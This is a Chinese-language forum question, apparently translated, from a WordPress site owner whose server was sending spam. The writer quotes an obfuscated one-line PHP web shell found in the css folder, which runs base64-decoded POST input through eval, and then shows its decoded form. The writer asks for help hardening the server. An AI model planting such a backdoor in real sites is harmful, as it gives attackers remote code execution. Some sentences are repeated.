我的托管提供者最近因为我的网站发送了大量的垃圾邮件而将其暂停。最开始,我和服务提供商认为这是由于几天前在服务器上发布的一份未加保护的电子邮件活动表单所导致的。我已从服务器中删除了包含该表单的页面,但服务器仍在发送垃圾邮件。
我在服务器根目录下的“css”文件夹中发现了一个名为7c32.php的php文件。我绝对没有制作过它。以下是该文件的代码:
在将其通过在线解码器运行后,它得出了以下结果:
我在服务器根目录下的“css”文件夹中发现了一个名为7c32.php的php文件。我绝对没有制作过它。以下是该文件的代码:
<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>
在将其通过在线解码器运行后,它得出了以下结果:
if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));
我阅读了一些关于恶意php文件的内容,并发现eval(和base64_decode字符串是非常可疑的。我查看了服务器日志文件,发现有几个来自沙特阿拉伯IP地址的post查询与这个7c32.php文件有关。
我删除了这个php文件,更新了所有过时的wordpress主题和插件(以及平台本身),并将FTP服务器和Wordpress管理帐户的密码更改为更安全的密码。
还有其他什么我可以做以确保我的服务器安全吗?我即将在服务器上搜索这些base64和eval(字符串,但除此之外,我没有其他想法了。
这个php脚本似乎太简短了,无法造成任何损害,但是还有什么其他东西会发送所有那些垃圾邮件呢?
非常感谢任何帮助。